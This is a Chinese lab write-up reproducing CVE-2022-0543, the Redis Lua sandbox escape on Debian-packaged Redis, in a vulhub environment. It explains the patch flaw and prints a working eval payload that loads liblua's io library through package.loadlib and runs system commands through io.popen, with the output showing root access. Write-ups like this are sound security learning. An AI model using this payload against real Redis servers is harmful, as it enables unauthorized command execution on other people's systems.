【vulhub】redis CVE-2022-0543(redis沙盒逃逸)
渗透环境
攻击机: IP: 192.168.66.130(Kali)
漏洞收录于:vulhub/redis/CVE-2022-0543
涉及知识点:redis沙盒逃逸
漏洞详情
受影响的系统:
- 仅限于 Debian 系 Linux 发行版(如 Debian、Ubuntu)及其衍生版本。
- 不受影响的系统:CentOS、RHEL 等非 Debian 系发行版不受此漏洞影响(漏洞源于 Debian 维护者在打包 Redis 时的补丁问题,而非 Redis 自身代码问题)。
受影响的 Redis 版本范围:
- redis版本小于等于6.x的都可以尝试。
触发条件:
攻击者需具备 Redis 的未授权访问权限或合法凭证。
漏洞原理
背景
Redis 允许通过eval命令执行 Lua 脚本,但正常情况下这些脚本运行在沙箱中,无法执行系统命令或文件操作。补丁引入的漏洞
Debian/Ubuntu 在打包 Redis 时,通过补丁代码向 Lua 沙箱中注入了一个名为package的全局对象。该对象本应在源码中被注释(出于沙箱安全考虑),但补丁错误地重新启用了它。沙盒逃逸过程
- 加载动态库:攻击者可通过
package.loadlib加载 Lua 系统库(如liblua5.1.so.0),调用其导出函数(如luaopen_io)获取io库权限。 - 执行命令:利用
io.popen等函数执行任意系统命令。
local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("whoami", "r"); -- 执行系统命令
local res = f:read("*a");
f:close();
return res;
- 加载动态库:攻击者可通过
攻击思路:
单从攻击角度而言,可以使用redis未授权相同的打法,博客见:【vulhub】redis 4-unacc (redis未授权访问) - Mr_Soap - 博客园
从漏洞角度来看,使用eval函数执行上面的逃逸过程即可。
复现漏洞
一、 启动漏洞容器
docker-compose up -d

可以看到redis运行在默认端口6379上
二、未授权连接
redis-cli -h 192.168.66.130
redis-cli -h [IP] -p [port] -a [password]
当使用默认端口6379时可不使用参数-p
测试连接,ping一下,成功连接

三、get shell
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");local io = io_l();local f = io.popen("whoami", "r");local res = f:read("*a");f:close();return res;' 0

可以看到命令都已经成功执行,我们已经拿到了root权限
【vulhub】redis CVE-2022-0543(redis沙盒逃逸)的更多相关文章
- 再谈CVE-2017-7047 Triple_Fetch和iOS 10.3.2沙盒逃逸
作者:蒸米 ----------------- 0x00 序 Ian Beer@google发布了CVE-2017-7047Triple_Fetch的exp和writeup[1],chenliang@ ...
- python沙盒逃逸
前言 最近遇到了很多python沙盒逃逸的题目(不知道是不是因为现在python搭的站多了--),实际使用时发现只会复制别人的payload是不够用的,于是自己来总结一波(顺带一提python沙盒逃逸 ...
- SSTI注入绕过(沙盒逃逸原理一样)
在python沙盒逃逸中绕过道理是一样的. 1.python沙盒中删除了很多模块,但是没有删除reload reload(__builtins__),重新加载被删除的模块,直接命令执行,只用于py2 ...
- python-Flask模版注入攻击SSTI(python沙盒逃逸)
一篇以python Flask 模版渲染为例子的SSTI注入教学~ 0x01 Flask使用和渲染 这里简化了flask使用和渲染的教程 只把在安全中我们需要关注的部分写出来 来一段最简单的FLASK ...
- seccomp沙盒逃逸基础——沙盒的规则编写
seccomp沙盒逃逸基础--沙盒的规则编写 引入: 安全计算模式 seccomp(Secure Computing Mode)是自 Linux 2.6.10 之后引入到 kernel 的特性.一切都 ...
- Vulhub 漏洞学习之:Redis
Vulhub 漏洞学习之:Redis 1 Redis简介 Redis 是完全开源的,遵守 BSD 协议,是一个高性能的 key-value 数据库.Redis 与其他 key - value 缓存产品 ...
- 为什么 Redis 的查询很快, Redis 如何保证查询的高效
Redis 如何保证高效的查询效率 为什么 Redis 比较快 Redis 中的数据结构 1.简单动态字符串 SDS 对比 c 字符串的优势 SDS可以常数级别获取字符串的长度 杜绝缓冲区溢出 减少修 ...
- CVE-2015-1427(Groovy 沙盒绕过 && 代码执行漏洞)
1.vulhub环境搭建 https://blog.csdn.net/qq_36374896/article/details/84102101 2.启动docker环境 cd vulhub-maste ...
- 沙盒解决方案解决SharePoint 2013 以其他身份登陆的问题
众所周知,SharePoint 2013没有像SharePoint 2010那样有一个叫"以其他身份登录"的菜单项. 当然解决方案也很多,比如你可以直接修改Welcome.ascx ...
- SharePoint 2013 沙盒解决方案不能激活(激活按钮不可用)
把沙盒解决方案上传到目标站点的"解决方案"库中,发现"激活"按钮是灰掉的,不可用. 首先,我想到的是权限不足,所以 "以管理员身份"启动IE ...
随机推荐
- Flutter 错误The argument type 'Color' can't be assigned to the parameter type 'MaterialStateProperty<Color?>?'.dart(argument_type_not_assignable)
MaterialStateProperty<Color?>?和Color 当为TextButton等button添加颜色时,使用ButtonStyle为其添加颜色 TextButton( ...
- 中电金信:亚洲TOP1 霸榜15年
近日,国际权威语言服务研究机构CSA Research公布了<2022年全球语言服务提供商100强>和<亚太地区TOP 30语言服务商>排名报告. 中电金信凭借卓越的品质管控. ...
- Net6之Jwt认证+Bearer认证 2.0
以前接触过,写过博客,第二次再写有了新的体会.第一次博客:https://www.cnblogs.com/zhang-3/p/16184067.html 过程: 生成token令牌(钥匙) 添加bea ...
- VSTO踩坑记录(2)- 运用outlook对象模型发送邮件
概述 上篇文章记录了怎么样让vsto插件显示在功能区上面,这篇文章来说说怎么运用微软提供的对象方法对outlook进行操作,附上官方文档. 这次示例我们来用代码发一封邮件,先简单拉几个控件,分别代表要 ...
- CountDownLatch底层原理和示例
CountDownLatch 是一个同步工具类,允许一个线程或者多个线程等待其他线程完成操作,再执行. CountDownLatch(int count) 构造一个用给定计数初始化的 CountDow ...
- java多线程---总结(2)
ThreadPoolExecutor 官方API解释线程池的好处: (1)通过重用线程池中的线程,来减少每个线程创建和销毁的性能开销. (2)对线程进行一些维护和管理,比如定时开始,周期执行,并发数控 ...
- .net工作流elsa-书签
啥是书签 流程引擎的核心关注点是安排流程,如:第1步做什么 → 第2步做什么 → 第n步做什么...,至于各步骤具体是怎么做的,是由你来决定的,这不是流程引擎关注的重点. 流程安排可能会涉及到分叉.并 ...
- python的typing模块
python的typing模块 参考:3个提高 Python 开发效率的小工具.Python3 Typing模块详解 typeing模块在python中提供类型支持,主要功能有: 类型检查,防止运行时 ...
- GitHub 图片无法加载(持续更新)
问题 Github无法加载或不显示图片(头像等) 方法 打开路径 C:\Windows\System32\drivers\etc下的hosts文件增加如下内容: 注:hosts文件一般不能直接修改保存 ...
- AGC018
AGC018 B 题目大意 举办一场运动会,有 \(N\) 人,\(M\) 个项目,每个人所有项目都有一个排名,会选择参加排名最高且开设的项目,现在要开设若干项目使得人数最多的项目人数尽可能小,求这个 ...